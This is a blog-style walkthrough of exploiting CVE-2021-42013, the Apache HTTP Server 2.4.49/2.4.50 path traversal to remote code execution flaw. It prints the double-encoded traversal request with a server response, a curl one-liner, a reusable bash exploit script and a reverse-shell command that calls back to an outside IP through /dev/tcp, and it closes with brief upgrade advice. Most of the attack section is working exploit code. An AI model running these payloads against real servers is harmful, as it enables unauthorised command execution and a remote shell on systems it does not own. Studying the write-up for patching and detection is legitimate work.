← back to blog
EN TR

CVE-2021-42013: Apache Path Traversal to RCE

On this page

Apache HTTP Server 2.4.49/2.4.50 | CVE-2021-42013 | Remote Code Execution

Vulnerability: Path Traversal + Remote Code Execution

CVE: CVE-2021-42013


Introduction

This write-up walks through the practical exploitation of CVE-2021-42013, a critical remote code execution vulnerability discovered in Apache HTTP Server 2.4.49 and 2.4.50. The flaw stems from broken URL normalization combined with unrestricted execution of CGI files. We’ll cover how to verify the vulnerability manually, test it with curl and Burp Suite, and ultimately turn it into a reverse shell.


1. Vulnerability Overview

A path-traversal vulnerability in Apache HTTP Server 2.4.49 and 2.4.50 allows command execution through .cgi files. Double URL-encoded sequences like %%32%65 can bypass the input filters.

💡 Root Cause:
Apache 2.4.49 lacked proper path-traversal checks. 2.4.50 attempted a fix, but double URL encoding (%%32%65%2e.) still bypassed the protections. Combined with the CGI module continuing to execute system binaries like /bin/sh, this elevated the bug to critical severity.


2. Manual Verification

I sent the following request through Burp Suite:

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 172.20.3.145
User-Agent: curl/8.13.0
Accept: */*
Content-Type: text/plain
Content-Length: 43
Connection: keep-alive

echo Content-Type: text/plain; echo; ls -la

The server responded with uid=1(daemon) from the target system:

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2025 06:35:50 GMT
Server: Apache/2.4.50 (Unix)
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 45

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Command execution on the target was confirmed.

Note: If Content-Length is not computed correctly, the CGI script returns nothing. Use Burp or curl with --data-binary.


3. Running Commands with curl

curl -s --proxy http://127.0.0.1:8080 --path-as-is -H "Content-Type: text/plain" --data "echo Content-Type: text/plain; echo; id" http://172.20.3.145/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

The same id output was confirmed via this request as well.


4. Exploit Script

For practicality, I wrote a small bash wrapper:

#!/bin/bash

if [[ -z "$1" || -z "$2" ]]; then
  echo "Usage:"
  echo "    $0 <target> <path> '<command>'"
  echo "    $0 172.20.3.145 /bin/sh 'id'"
  exit
fi

curl -s --path-as-is -H "Content-Type: text/plain" --data "echo Content-Type: text/plain; echo; $3" "$1/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"

5. Reverse Shell

Listening on port 4141 with netcat:

nc -lvnp 4141

Triggering the reverse shell with the script:

./cve-2021-42013.sh 172.20.3.145 /bin/bash 'bash -i >& /dev/tcp/10.8.14.193/4141 0>&1'

We get a bash shell back from the target:


6. Conclusion & Mitigation

This vulnerability is specific to Apache HTTP Server 2.4.49 and 2.4.50 and provides critical-severity RCE on systems exposing CGI scripts. Upgrade to Apache 2.4.51 or later.


Closing Thoughts

CVE-2021-42013 is a great example of how trivial URL-parsing mistakes can have devastating consequences. With a handful of crafted bytes, you go from “anonymous request” to “shell on the box”. On systems with the CGI module enabled, bugs like this chain easily — patching the version is necessary but not sufficient. Audit your enabled modules and file permissions too.